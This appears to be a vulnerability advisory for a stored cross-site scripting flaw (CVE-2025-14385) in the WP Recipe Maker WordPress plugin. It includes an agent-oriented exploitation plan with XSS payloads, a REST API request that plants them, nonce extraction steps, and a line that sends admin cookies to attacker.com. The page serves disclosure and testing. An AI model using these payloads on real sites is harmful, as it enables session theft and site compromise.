CVE-2025-14385

WP Recipe Maker <= 10.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
10.2.4
Patched in
1d
Time to patch

Description

The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 10.2.3 due to insufficient input sanitization and output escaping on user-supplied attributes in the wprm-recipe-roundup-item shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=10.2.3
PublishedDecember 16, 2025
Last updatedDecember 17, 2025
Affected pluginwp-recipe-maker

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14385 (WP Recipe Maker Stored XSS) ## 1. Vulnerability Summary The **WP Recipe Maker** plugin (versions <= 10.2.3) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `wprm-recipe…

Show full research plan

Exploitation Research Plan: CVE-2025-14385 (WP Recipe Maker Stored XSS)

1. Vulnerability Summary

The WP Recipe Maker plugin (versions <= 10.2.3) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the wprm-recipe-roundup-item shortcode, specifically within the name attribute. The plugin fails to sufficiently sanitize or escape this attribute before rendering it in the HTML output. This allows a user with Contributor-level privileges (who can create posts but lacks unfiltered_html capabilities) to inject malicious scripts that execute in the context of any user (including Administrators) viewing the affected post.

2. Attack Vector Analysis

  • Shortcode: [wprm-recipe-roundup-item]
  • Vulnerable Attribute: name
  • Authentication Level: Contributor or higher.
  • Injection Point: The WordPress post editor (Gutenberg or Classic).
  • Payload Mechanism: The payload is stored in the post_content table of the WordPress database and is executed whenever the post is rendered on the frontend.
  • Preconditions: The plugin must be active, and the attacker must have the ability to create or edit posts.

3. Code Flow (Inferred)

Since source files were not provided, the following flow is inferred based on standard WordPress shortcode implementation and the vulnerability description:

  1. Registration: The plugin registers the shortcode during the init hook:
    add_shortcode('wprm-recipe-roundup-item', [ $this, 'render_roundup_item' ]);
  2. Handling: The callback function (e.g., render_roundup_item($atts)) receives the attributes.
  3. Parsing: The plugin likely uses shortcode_atts() to extract the name parameter.
  4. Vulnerable Sink: The code then constructs an HTML string (likely a <div> or <a> tag) and appends the raw $atts['name'] value without using esc_html() or esc_attr().
  5. Output: The unescaped HTML string is returned by the shortcode handler and rendered by WordPress.

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS via Shortcode, which is typically exploited by saving a post through the standard WordPress Block Editor (Gutenberg) or the REST API.

  • For Contributor-level exploitation: The agent will need the standard WordPress REST API nonce (_wpnonce) used for post creation/updates.
  • Acquisition:
    1. Log in as a Contributor.
    2. Navigate to the "Add New Post" page (/wp-admin/post-new.php).
    3. Extract the nonce from the inline JavaScript object wpApiSettings.
    4. JS Command: browser_eval("window.wpApiSettings.nonce")

If the plugin uses a custom AJAX submission for roundups, the nonce would likely be localized via wp_localize_script. In that case:

  1. Navigate to a page where the Recipe Roundup editor is loaded.
  2. Identify the JS object (e.g., wprm_admin or wprm_public).
  3. JS Command: browser_eval("window.wprm_admin?.nonce") (Inferred).

5. Exploitation Strategy

The goal is to inject a script that executes when an Administrator views the post.

Step-by-Step Plan:

  1. Authentication: Authenticate as a user with the Contributor role.
  2. Post Creation: Create a new post containing the malicious shortcode.
    • Payload: [wprm-recipe-roundup-item name='<script>alert(document.domain)</script>']
  3. Submission: Use the http_request tool to send a POST request to the WordPress REST API to save the post.
    • Endpoint: /wp-json/wp/v2/posts
    • Headers: Content-Type: application/json, X-WP-Nonce: [NONCE]
    • Body:
      {
        "title": "Delicious Roundup",
        "content": "[wprm-recipe-roundup-item name='<img src=x onerror=alert(\"CVE-2025-14385\")>']",
        "status": "pending"
      }
      
    • Note: Contributors can only set status to pending or draft. The exploit triggers when an Admin previews or reviews the post.
  4. Trigger: As an Administrator, view the pending post or preview it.

6. Test Data Setup

  1. Plugin Installation: Ensure wp-recipe-maker version 10.2.3 is installed and activated.
  2. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Cleanup: Ensure no existing posts interfere with the test.

7. Expected Results

  • The POST request to /wp-json/wp/v2/posts should return a 201 Created status.
  • When the post is viewed in a browser, the HTML source should contain:
    ... <div class="wprm-recipe-roundup-item-name"><img src=x onerror=alert("CVE-2025-14385")></div> ...
  • A JavaScript alert box should appear with the message "CVE-2025-14385".

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the shortcode is stored in the database correctly.
    • wp post list --post_type=post --status=pending
    • wp post get [POST_ID] --field=post_content
  2. Frontend Inspection: Use http_request (GET) to the post URL and grep for the raw payload.
    • http_request(url="http://localhost:8080/?p=[POST_ID]")
    • Verify the response body contains the unescaped <img ...> tag.

9. Alternative Approaches

  • Attribute Breakout: If the name attribute is placed inside an existing HTML attribute (e.g., title='[name]'), use a breakout payload:
    • name="x' onmouseover='alert(1)"
  • Iframe Injection: If <script> tags are blocked by a basic WAF but the plugin still doesn't escape, try:
    • name='<iframe src="javascript:alert(1)"></iframe>'
  • Admin Cookie Exfiltration: To prove high impact:
    • name='<script>fetch("http://attacker.com/log?c=" + btoa(document.cookie))</script>'
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in the 'wprm-recipe-roundup-item' shortcode in versions up to 10.2.3. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages that execute whenever a user views the content.

Exploit Outline

1. Authenticate as a user with Contributor-level privileges or higher. 2. Navigate to the post editor (Gutenberg or Classic) to create a new post or edit an existing one. 3. Insert the malicious shortcode into the post content: [wprm-recipe-roundup-item name='<img src=x onerror=alert("CVE-2025-14385")>']. 4. Save the post as a draft or submit it for review to store the payload in the database. 5. As an Administrator or any other user, navigate to the post's frontend view or preview page to trigger the stored script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.